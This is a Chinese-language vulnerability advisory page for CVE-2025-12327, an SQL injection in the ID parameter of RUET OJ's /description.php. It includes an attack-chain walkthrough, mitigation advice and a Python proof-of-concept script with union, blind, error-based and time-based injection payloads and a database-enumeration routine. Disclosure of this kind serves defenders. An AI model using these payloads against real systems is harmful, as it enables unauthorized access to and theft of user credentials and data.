IPBUF安全漏洞报告
English
CVE-2025-12327 CVSS 6.3 中危

CVE-2025-12327 shawon100 RUET OJ /description.php SQL注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12327
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
shawon100 RUET OJ

相关标签

SQL注入CVE-2025-12327RUET OJWeb安全数据库注入/description.php远程攻击低权限利用

漏洞概述

CVE-2025-12327是影响shawon100 RUET OJ系统的一个中等严重性SQL注入漏洞。该漏洞存在于/description.php文件中,由于对ID参数的处理不当,攻击者可以通过构造恶意SQL语句进行注入攻击。CVSS评分6.3,属于中危级别。攻击者需要具备低权限账号即可发起攻击,无需用户交互,攻击可远程进行。漏洞已公开披露,可能已被在野利用。由于该产品采用滚动发布模型,官方未提供具体版本号信息。厂商在收到漏洞通知后未做出任何回应,用户需自行采取防护措施。

技术细节

该SQL注入漏洞位于RUET OJ系统的/description.php文件中的ID参数处理逻辑中。攻击者通过在HTTP请求中构造恶意的ID参数值,可以突破应用程序的输入验证机制,将自定义的SQL语句注入到后台数据库查询中。由于漏洞无需高权限即可利用,低权限用户也能通过此漏洞获取数据库中的敏感信息,包括其他用户数据、比赛信息、系统配置等。成功利用此漏洞可能导致数据泄露、数据篡改,甚至在某些配置下可能实现远程代码执行。攻击者通常使用UNION SELECT、布尔盲注或时间盲注等技术来提取数据库内容。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站使用shawon100 RUET OJ系统,并定位到存在SQL注入漏洞的/description.php文件
STEP 2
步骤2:构造恶意请求
攻击者在HTTP请求的ID参数中注入SQL语句,如使用UNION SELECT或盲注技术
STEP 3
步骤3:绕过认证
由于漏洞允许低权限用户利用,攻击者使用普通账号即可发起攻击,无需高权限
STEP 4
步骤4:数据库提取
通过SQL注入攻击,攻击者提取数据库中的敏感信息,包括用户凭证、比赛数据等
STEP 5
步骤5:权限提升/数据利用
获取的数据可用于进一步攻击,如横向移动、身份冒充或数据出售

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12327 SQL Injection PoC for RUET OJ /description.php # Target: shawon100 RUET OJ up to commit 18fa45b0a669fa1098a0b8fc629cf6856369d9a5 def exploit_sqli(target_url, payload): """ SQL Injection exploit for /description.php The ID parameter is vulnerable to SQL injection """ # Target endpoint with vulnerable ID parameter url = f"{target_url}/description.php" # Test payloads for different SQL injection techniques payloads = { 'union_based': "1' UNION SELECT 1,2,3,4,5-- -", 'boolean_blind': "1' AND 1=1-- -", 'error_based': "1' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))-- -", 'time_based': "1' AND SLEEP(5)-- -" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Use provided payload or default to union-based if payload == 'auto': payload = payloads['union_based'] params = {'ID': payload} try: print(f"[*] Sending payload: {payload}") print(f"[*] Target: {url}") response = requests.get(url, params=params, headers=headers, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_data(target_url): """ Extract database information using blind SQL injection """ # Database enumeration payload db_enum = "1' AND SUBSTRING((SELECT database()),1,1)='r'-- -" # Test if database name starts with 'r' print("[*] Attempting database enumeration...") result = exploit_sqli(target_url, db_enum) if result and 'error' not in result.lower(): print("[+] Database name likely starts with 'r'") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12327.py <target_url> [payload]") print("Example: python cve-2025-12327.py http://target.com/ruet-oj") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else 'auto' exploit_sqli(target, payload)

影响范围

shawon100 RUET OJ <= 18fa45b0a669fa1098a0b8fc629cf6856369d9a5

防御指南

临时缓解措施
由于厂商未回应且产品采用滚动发布模型,建议立即采取以下措施:1) 在Web应用层部署SQL注入防护规则;2) 对/description.php文件的ID参数实施严格的白名单验证;3) 限制数据库账户权限;4) 监控异常数据库查询日志;5) 考虑使用RASP(运行时应用自保护)技术进行动态防护;6) 如可能,暂时禁用受影响功能直至官方发布修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表